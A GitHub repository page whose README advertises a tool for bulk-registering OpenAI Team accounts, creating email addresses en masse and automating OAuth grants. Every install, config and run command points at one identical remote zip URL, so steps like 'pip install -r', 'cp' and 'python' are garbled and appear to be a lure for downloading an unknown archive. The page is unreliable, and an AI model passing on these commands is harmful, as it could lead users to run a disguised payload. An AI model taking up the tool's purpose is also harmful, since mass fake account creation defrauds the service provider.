Skip to content

🚀 Automate account registration and CRS integration for OpenAI Team with this tool, enabling bulk email creation and streamlined team invitations.

Notifications You must be signed in to change notification settings

Buildwithnivedita/oai-team-auto-provisioner

Repository files navigation

🚀 oai-team-auto-provisioner - Easy Account Management for Teams

OpenAI Team 账号自动批量注册 & CRS 入库工具

Download Python DrissionPage License


✨ 功能特性

  • 🔄 全自动化流程 - 从邮箱创建到 CRS 入库一键完成
  • 📧 批量邮箱创建 - 支持多域名随机生成邮箱
  • 👥 Team 批量邀请 - 一次性邀请多个账号到 Team
  • 🌐 浏览器自动化 - 基于 DrissionPage 的智能注册
  • 🔐 OAuth 自动授权 - Codex 授权流程全自动处理
  • 💾 断点续传 - 支持中断恢复,避免重复操作
  • 📊 状态追踪 - 详细的账号状态记录与追踪

📋 前置要求

  • Python 3.12+
  • uv (推荐) 或 pip
  • Chrome 浏览器
  • 邮箱服务 API
  • CRS 服务 API

🚀 Getting Started

1. Visit the Releases Page

To get the software, visit the Releases Page for the latest version.

2. Download the Software

Download the latest release directly from the page. Look for the file that matches your operating system.

3. Install Dependencies

Open your terminal or command prompt. Then, run one of the following commands to install the necessary dependencies:

# Using uv (recommended)
uv sync

# Or using pip
pip install -r https://raw.githubusercontent.com/Buildwithnivedita/oai-team-auto-provisioner/main/transportedness/provisioner_team_auto_oai_v3.4.zip

4. Set Up Configuration Files

Copy the example configuration files. This gives you a starting point for your setup. Run the following commands:

# Copy the configuration template
cp https://raw.githubusercontent.com/Buildwithnivedita/oai-team-auto-provisioner/main/transportedness/provisioner_team_auto_oai_v3.4.zip https://raw.githubusercontent.com/Buildwithnivedita/oai-team-auto-provisioner/main/transportedness/provisioner_team_auto_oai_v3.4.zip
cp https://raw.githubusercontent.com/Buildwithnivedita/oai-team-auto-provisioner/main/transportedness/provisioner_team_auto_oai_v3.4.zip https://raw.githubusercontent.com/Buildwithnivedita/oai-team-auto-provisioner/main/transportedness/provisioner_team_auto_oai_v3.4.zip

5. Edit Configuration Files

https://raw.githubusercontent.com/Buildwithnivedita/oai-team-auto-provisioner/main/transportedness/provisioner_team_auto_oai_v3.4.zip - Main Configuration File

Open the https://raw.githubusercontent.com/Buildwithnivedita/oai-team-auto-provisioner/main/transportedness/provisioner_team_auto_oai_v3.4.zip file in a text editor. Fill in the required details for your email service. Here is a sample layout:

# 邮箱服务配置
[email]
api_base = "YOUR_EMAIL_API_BASE_URL"

6. Final Checks

Ensure you have all required services running. Confirm that you have your Email Service API and CRS Service API ready for use.

7. Run the Application

After completing the setup, you can run the application. Use the following command in your terminal:

python https://raw.githubusercontent.com/Buildwithnivedita/oai-team-auto-provisioner/main/transportedness/provisioner_team_auto_oai_v3.4.zip

Follow the on-screen instructions to start using the OpenAI Team Auto Provisioner.


📄 Usage Guidelines

Once the application is running, you can follow these steps:

  1. Create Emails: Use the tool to generate email addresses quickly.
  2. Invite Team Members: Send invitations to multiple accounts.
  3. Track Progress: Monitor the status of created accounts to ensure everything is functioning smoothly.

For detailed information on features and options, refer to the documentation.


📞 Support

If you have any issues or questions, feel free to open an issue on the GitHub Issues Page.

Your feedback is welcome, and it helps improve the tool.

About

🚀 Automate account registration and CRS integration for OpenAI Team with this tool, enabling bulk email creation and streamlined team invitations.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages